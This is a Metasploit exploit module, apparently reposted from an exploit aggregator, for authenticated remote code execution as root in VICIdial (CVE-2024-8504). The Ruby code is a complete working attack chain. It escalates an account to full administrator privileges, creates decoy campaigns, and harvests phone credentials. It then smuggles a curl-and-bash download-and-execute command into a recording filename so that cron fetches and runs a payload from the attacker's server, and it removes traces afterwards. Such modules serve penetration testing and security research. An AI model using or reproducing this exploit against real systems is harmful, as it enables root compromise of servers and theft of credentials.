Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-UNIX-WEBAPP-VICIDIAL_AGENT_AUTHENTICATED_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VICIdial Authenticated Remote Code Execution',
        'Description' => %q{
          An attacker with authenticated access to VICIdial as an "agent"
          can execute arbitrary shell commands as the "root" user. This
          attack can be chained with CVE-2024-8503 to execute arbitrary
          shell commands starting from an unauthenticated perspective.
        },
        'Author' => [
          'Valentin Lobstein',              # Metasploit Module
          'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-8504'],
          ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']
        ],
        'DisclosureDate' => '2024-09-10',
        'Platform' => %w[unix linux],
        'Arch' => %w[ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Privileged' => true
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 300,
          'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Administrator username']),
      OptString.new('PASSWORD', [true, 'Administrator password']),
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'GET'
    })

    return CheckCode::Unknown unless res&.code == 200

    html_doc = res.get_html_document

    version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||
                   res.body.split("\n").find { |line| line.include?('VERSION:') }

    return CheckCode::Unknown unless version_info

    extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')

    return CheckCode::Unknown if extracted_version.empty?

    print_status("VICIdial version: #{extracted_version}")

    vulnerable_version = Rex::Version.new('2.14-917a')
    current_version = Rex::Version.new(extracted_version)

    return current_version <= vulnerable_version ? CheckCode::Vulnerable : CheckCode::Safe
  end

  def exploit
    # Start the HTTP server to handle incoming requests from the payload
    start_service
    print_status('Server started.')

    # Add the resource to serve the payload and prepare the listener
    primer

    # Authenticate as an administrator using provided credentials
    target_uri, request_headers = authenticate_admin

    # Elevate user privileges by updating user settings
    update_user_settings(target_uri, request_headers)

    # Update the system settings for further exploitation
    update_system_settings(target_uri, request_headers)

    # Create a dummy campaign to act as a decoy during the attack
    fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)

    # Modify the settings of the newly created dummy campaign
    update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)

    # Create a dummy list associated with the dummy campaign
    create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)

    # Retrieve phone credentials (extension and password) to authenticate as an agent
    phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)

    # Authenticate to the agent portal using the retrieved phone credentials and campaign ID
    session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)

    # Insert a malicious recording that contains the payload, using the agent session
    insert_malicious_recording(request_headers, session_name, session_id, recording_extension)

    # Clean up by deleting the campaign created earlier
    delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)

    # Start the cron job to execute the malicious payload
    wait_for_cron_job
  end

  def primer
    add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
    print_status('Payload is ready at /')
  end

  def on_request_uri_payload(cli, request)
    bash_command = <<-BASH
  #!/bin/bash
  rm -- $(readlink /proc/$$/fd/255)
  cd /var/spool/asterisk/monitor/
  #{payload.encoded}
  find . -maxdepth 1 -type f -delete
    BASH

    handle_request(cli, request, bash_command)
  end

  def handle_request(cli, request, response_payload)
    print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")

    case request.uri
    when '/'
      print_status("Sending response to #{cli.peerhost} for /")
      send_response(cli, response_payload)
    else
      print_error("Request for unknown resource: #{request.uri}")
      send_not_found(cli)
    end
  end

  def delete_dummy_campaign(target_uri, request_headers, campaign_id)
    print_status("Deleting dummy campaign with ID: #{campaign_id}")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),
      'method' => 'GET',
      'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },
      'headers' => request_headers
    })

    res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")
  end

  def authenticate_admin
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    credentials = "#{username}:#{password}"
    credentials_base64 = Rex::Text.encode_base64(credentials)
    auth_header = "Basic #{credentials_base64}"

    target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')
    request_params = { 'ADD' => '3', 'user' => username }
    request_headers = { 'Authorization' => auth_header }

    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'vars_get' => request_params,
      'headers' => request_headers,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200

    print_good("Authenticated successfully as user '#{username}'")
    [target_uri, request_headers]
  end

  def update_user_settings(target_uri, request_headers)
    faker = Faker::Internet

    user_settings_body = {
      'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',
      'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,
      'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,
      'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',
      'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',
      'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',
      'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',
      'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',
      'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',
      'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',
      'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',
      'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',
      'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',
      'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',
      'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',
      'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',
      'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',
      'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',
      'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',
      'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',
      'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',
      'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',
      'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',
      'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',
      'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',
      'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',
      'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',
      'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',
      'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',
      'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',
      'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',
      'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',
      'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',
      'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',
      'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',
      'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',
      'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',
      'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',
      'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',
      'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',
      'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',
      'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',
      'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',
      'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => user_settings_body,
      'keep_cookies' => true
    )

    print_good('Updated user settings to increase privileges')
  end

  def update_system_settings(target_uri, request_headers)
    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'headers' => request_headers,
      'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res

    system_settings_body = {}
    res.get_html_document.css('input').each do |input_tag|
      system_settings_body[input_tag['name']] = input_tag['value']
    end

    res.get_html_document.css('select').each do |select_tag|
      selected_tag = select_tag.at_css('option[selected]')
      next unless selected_tag

      system_settings_body[select_tag['name']] = selected_tag.text
    end

    system_settings_body['outbound_autodial_active'] = '0'

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => system_settings_body,
      'keep_cookies' => true
    )

    print_good('Updated system settings')
  end

  def create_dummy_campaign(target_uri, request_headers)
    fake_company_name = Faker::Company.name
    fake_campaign_id = Faker::Number.number(digits: 6).to_i
    fake_list_id = fake_campaign_id + 1
    fake_list_name = "#{fake_company_name} List"

    campaign_settings_body = {
      'ADD' => '21',
      'campaign_id' => fake_campaign_id,
      'campaign_name' => fake_company_name,
      'user_group' => '---ALL---',
      'active' => 'Y',
      'allow_closers' => 'Y',
      'hopper_level' => '1',
      'next_agent_call' => 'random',
      'local_call_time' => '12am-12am',
      'get_call_launch' => 'NONE',
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => campaign_settings_body,
      'keep_cookies' => true
    )

    print_good("Created dummy campaign '#{fake_company_name}'")
    [fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]
  end

  def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
    update_campaign_body = {
      'ADD' => '41',
      'campaign_id' => fake_campaign_id,
      'old_campaign_allow_inbound' => 'Y',
      'campaign_name' => fake_company_name,
      'active' => 'Y',
      'lead_order' => 'DOWN',
      'lead_filter_id' => 'NONE',
      'no_hopper_leads_logins' => 'Y',
      'hopper_level' => '1',
      'reset_hopper' => 'N',
      'dial_method' => 'RATIO',
      'auto_dial_level' => '1',
      'SUBMIT' => 'SUBMIT',
      'form_end' => 'END'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => update_campaign_body,
      'keep_cookies' => true
    )

    print_good('Updated dummy campaign settings')
  end

  def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
    list_settings_body = {
      'ADD' => '211',
      'list_id' => fake_list_id,
      'list_name' => fake_list_name,
      'campaign_id' => fake_campaign_id,
      'active' => 'Y',
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => target_uri,
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => list_settings_body,
      'keep_cookies' => true
    )

    print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")
  end

  def fetch_phone_credentials(target_uri, request_headers)
    res = send_request_cgi(
      'uri' => target_uri,
      'method' => 'GET',
      'headers' => request_headers,
      'vars_get' => { 'ADD' => '10000000000' },
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res

    phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')
    fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),
      'method' => 'GET',
      'headers' => request_headers,
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res

    phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')
    phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')
    recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')

    if [phone_extension, phone_password, recording_extension].all?
      print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")
    else
      fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')
    end

    [phone_extension, phone_password, recording_extension]
  end

  def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
    vdc_db_query_body = {
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'LogiNCamPaigns',
      'format' => 'html'
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),
      'method' => 'POST',
      'vars_post' => vdc_db_query_body,
      'keep_cookies' => true
    )
    fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res

    doc = res.get_html_document
    mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')
    mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')

    if mgr_login_name && mgr_pass_name
      print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
    else
      begin
        today_date = Time.now.strftime('%Y%m%d')
        mgr_login_name = "MGR_login#{today_date}"
        mgr_pass_name = "MGR_pass#{today_date}"
        print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
      end
    end

    manager_login_body = {
      'DB' => '0',
      'JS_browser_height' => '1313',
      'JS_browser_width' => '2560',
      'phone_login' => phone_extension,
      'phone_pass' => phone_password,
      'VD_login' => datastore['USERNAME'],
      'VD_pass' => datastore['PASSWORD'],
      'MGR_override' => '1',
      'relogin' => 'YES',
      mgr_login_name => datastore['USERNAME'],
      mgr_pass_name => datastore['PASSWORD'],
      'SUBMIT' => 'SUBMIT'
    }

    send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => manager_login_body,
      'keep_cookies' => true
    )

    print_good('Entered "manager" credentials to override shift enforcement')

    agent_login_body = {
      'DB' => '0',
      'JS_browser_height' => '1313',
      'JS_browser_width' => '2560',
      'phone_login' => phone_extension,
      'phone_pass' => phone_password,
      'VD_login' => datastore['USERNAME'],
      'VD_pass' => datastore['PASSWORD'],
      'VD_campaign' => fake_campaign_id
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => agent_login_body
    )

    print_good('Authenticated as agent using phone credentials')

    session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)
    session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)

    if session_name_match && session_id_match
      session_name = session_name_match[1]
      session_id = session_id_match[1]
      print_good("Session Name: #{session_name}, Session ID: #{session_id}")
    else
      fail_with(Failure::NotFound, 'Failed to retrieve session information')
    end

    [session_name, session_id]
  end

  def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
    uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
    random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
    malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"
    print_status("Generated malicious command: #{malicious_filename}")

    record1_body = {
      'server_ip' => datastore['RHOSTS'],
      'session_name' => session_name,
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'MonitorConf',
      'format' => 'text',
      'channel' => "Local/#{recording_extension}@default",
      'filename' => malicious_filename,
      'exten' => recording_extension,
      'ext_context' => 'default',
      'ext_priority' => '1',
      'FROMvdc' => 'YES',
      'FROMapi' => ''
    }

    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => record1_body,
      'keep_cookies' => true
    )

    recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)
    if recording_id_match
      recording_id = recording_id_match[1]
      print_status(res.body)
    else
      fail_with(Failure::Unknown, 'Failed to get recording ID')
    end

    record2_body = {
      'server_ip' => datastore['RHOSTS'],
      'session_name' => session_name,
      'user' => datastore['USERNAME'],
      'pass' => datastore['PASSWORD'],
      'ACTION' => 'StopMonitorConf',
      'format' => 'text',
      'channel' => "Local/#{recording_extension}@default",
      'filename' => "ID:#{recording_id}",
      'exten' => session_id,
      'ext_context' => 'default',
      'ext_priority' => '1',
      'FROMvdc' => 'YES',
      'FROMapi' => ''
    }

    send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),
      'method' => 'POST',
      'headers' => request_headers,
      'vars_post' => record2_body,
      'keep_cookies' => true
    )

    print_good('Stopped malicious recording to prevent file size from growing')
  end

  def wait_for_cron_job
    print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")
    service.wait
  end
end